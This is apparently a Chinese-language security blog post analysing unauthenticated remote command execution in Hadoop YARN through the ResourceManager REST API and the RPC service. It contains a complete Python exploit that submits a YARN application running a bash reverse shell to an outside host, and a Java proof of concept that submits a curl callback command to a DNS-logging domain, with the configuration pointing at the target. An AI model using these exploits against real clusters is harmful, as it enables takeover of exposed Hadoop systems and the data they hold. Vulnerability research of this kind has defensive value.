Hadoop的两个未授权漏洞分析(Restful和RPC)
周一翻星球看到了昨天出了一个 Hadoop Yarn RPC未授权访问漏洞,Hadoop还出过一个Restful API未授权,放一起分析吧。
Restful API未授权
背景知识
Hadoop是一个分布式系统基础架构,可以用来对大量数据进行分布式处理。Hadoop支持Kerberos认证,但默认情况下并不使用:
Hadoop包含了Hadoop Common、Hadoop YARN、Hadoop Distributed File System (HDFS™)和Hadoop MapReduce四个模块,然而每个组件又没有统一的授权管理方式,这给防御者造成了一定的麻烦。
比如HDFS,支持POSIX ACLs,它是通过对特定名称的用户或组设置不同权限来完成控制访问的,默认情况下禁用ACL.
在默认情况下,Hadoop不会对传输中以及静态存储的数据进行加密,如果使用Kerberos认证就会启用原生的加密方式。
漏洞利用
通过ResourceManager REST API,可以让用户获取集群的相关信息。存在接口:
/ws/v1/cluster/apps/new-application
/ws/v1/cluster/apps
可以让用户生成并启动一个新的应用程序,在集群上进行处理,那么类似计划任务反弹shell,写入反弹shell的命令即可。
利用流程:
- 本地开启一个端口等待反弹shell
- 利用
new-application
接口获取application-id
- 向
apps
接口POST相关命令 - 等待shell反弹
import requests
target = 'http://10.211.55.24:8088/'
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/192.168.1.1/9998 0>&1',
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)

RPC未授权访问
即使给Restful API设置了验证,RPC服务仍然可以未授权访问到,利用类似的方式就可以进行远程命令执行。
需要学习一下Hadoop YARN Client的编写,因为不熟悉Java,卡了一天才调通,下面是PoC:
Configuration conf = new YarnConfiguration();
YarnClient client = YarnClient.createYarnClient();
conf.addResource("src/main/resources/yarn-site.xml");
client.init(conf);
client.start();
YarnClientApplication app = client.createApplication();
ContainerLaunchContext amContainer = Records.newRecord(ContainerLaunchContext.class);
ApplicationSubmissionContext appContext = app.getApplicationSubmissionContext();
String cmd = "curl j57pb2.dnslog.cn";
amContainer.setCommands(Collections.singletonList(cmd));
appContext.setAMContainerSpec(amContainer);
appContext.setResource(Resource.newInstance(100, 1));
appContext.setPriority(Priority.newInstance(0));
appContext.setApplicationName("getshell-test");
appContext.setQueue("default");
client.submitApplication(appContext);
在yarn-site.xml
里放入目标地址:
<configuration>
<property>
<name>
yarn.resourcemanager.address
</name>
<value>10.211.55.24:8032</value>
</property>
</configuration>
